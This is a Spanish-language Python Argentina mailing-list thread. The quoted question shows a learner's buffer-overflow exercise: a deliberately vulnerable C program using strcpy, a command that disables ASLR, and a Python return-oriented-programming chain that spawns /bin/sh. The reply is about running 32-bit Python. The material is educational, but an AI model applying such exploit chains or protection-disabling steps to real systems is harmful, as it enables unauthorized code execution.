[pyar] ¿Hay alguna forma de forzar a python para que funcione en 32 bits?

Joaquin Duo joaduo en gmail.com
Lun Ago 17 15:19:23 ART 2015


En linux podés instalar un entorno de 32 bits (dentro de un OS de 64bits)

http://askubuntu.com/questions/297151/how-to-run-32-bit-programs-on-a-64-bit-system

En este caso creo que deberías poder instalar el paquete de python de 32
bits y correr ese python.
Te respondo la generalidad porque no lo he hecho, pero obviamente se puede
(porque cualquier programa de 32bits puede correr, por ejemplo el skype)

Vas a tener que buscar en internet cómo instalar paquetes de 32bits, seguro
que sale

Saludos!
Joaquín


2015-08-16 21:22 GMT-03:00 Alberto Perez <ksian1685 en gmail.com>:

> No estoy seguro que tenga que ver con python, pero seguro ustedes sí.
> Resulta que estaba siguiendo las instrucciones de un blogger: (
> http://www.ellaberintodefalken.com/2013/08/ROP-Return-Oriented-Programming.html
> )
> 1-hice el código en c (que compilé agregando gcc -m32 porque lo estoy
> ejecutando en una maquina de 32 bits):
>
> #include <stdio.h>
> #include <string.h>
>
> void saluda (char * texto){
>     char nombre[250];
>     strcpy(nombre, texto);
>     printf("hola %s\n", nombre);
> }
>
> int main (int argc, char **argv){
>     saluda(argv[1]);
>     return 0;
> }
>
> 2- modifiqué la configuracion de mi computadora:
> echo "0" > /proc/sys/kernel/randomize_va_space
>
> 3-hice el exploit en python:
>
> from struct import pack
>
>
> ex = 'A'*262
> ex += pack('I',0x080e1db9) #pop %eax
> ex += '/bin'
> ex += pack('I',0x0806e39a) #pop %edx
> ex += pack('I',0x080e99a0) #.data
> ex += pack('I',0x08099fad) #mov %eax,(%edx)
> ex += pack('I',0x080e1db9) #pop %eax
> ex += '/sh#'
> ex += pack('I',0x0806e39a) #pop %edx
> ex += pack('I',0x080e99a4) #.data+4
> ex += pack('I',0x08099fad) #mov %eax,(%edx)
> ex += pack('I',0x0806e39a) #pop %edx
> ex += pack('I',0x080e99a7) #.data+7
> ex += pack('I',0x080b7c20) #xor %eax,%eax
> ex += pack('I',0x08099fad) #mov %eax,(%edx)
> ex += pack('I',0x0806e3c1) #pop %ecx; pop %ebx
> ex += pack('I',0x080e99a7) #.data+7
> ex += pack('I',0x080e99a0) #.data
> ex += pack('I',0x0806e39a) #pop %edx
> ex += pack('I',0x080e99a7) #.data+7
> ex += pack('I',0x080b7c20) #xor %eax,%eax
> for i in range(int("0xb",16)):
>         ex += pack('I',0x0805c5fc) #inc %eax;pop %edi
>         ex += '####'
>
> ex += pack('I',0x806ea30) #int 0x80
>
> print ex
>
> resulta que no funciona y se me ocurre que puede ser porque estoy usando
> python de arquitectura de 64 bits. ¿Hay alguna forma de forzar a python
> para que funcione en 32 bits?
> gracias.
>
>
>
> _______________________________________________
> pyar mailing list pyar en python.org.ar
> http://listas.python.org.ar/listinfo/pyar
>
> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>
> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
> Argentina - http://www.usla.org.ar
>
------------ próxima parte ------------
Se ha borrado un adjunto en formato HTML...
URL: <http://listas.python.org.ar/pipermail/pyar/attachments/20150817/7ea4b73b/attachment.html>


More information about the pyar mailing list